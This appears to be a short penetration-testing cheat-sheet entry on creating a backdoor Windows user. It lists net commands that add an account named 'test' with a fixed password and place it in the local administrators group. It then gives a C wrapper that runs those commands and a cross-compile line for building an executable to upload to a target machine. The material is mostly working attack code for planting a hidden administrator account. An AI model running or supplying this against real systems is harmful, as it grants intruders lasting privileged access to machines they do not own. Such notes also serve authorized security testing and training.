User Creation

Linux

Windows

Command-line: Requires administrator permissions

net user test password123! /add
net localgroup administrators test /add

Generate script to create a user and assign said user to the administrator group on target machine

mousepad adduser.c

  #include <stdlib.h>
  
  int main () {
    int i;
    
    i = system ("net user test password123! /add");
    i = system ("net localgroup administrators test /add");
    
    return 0;
  }

Compile the code into an executable and upload it onto target machine for execution

x86_64-w64-mingw32-gcc adduser.c -o adduser.exe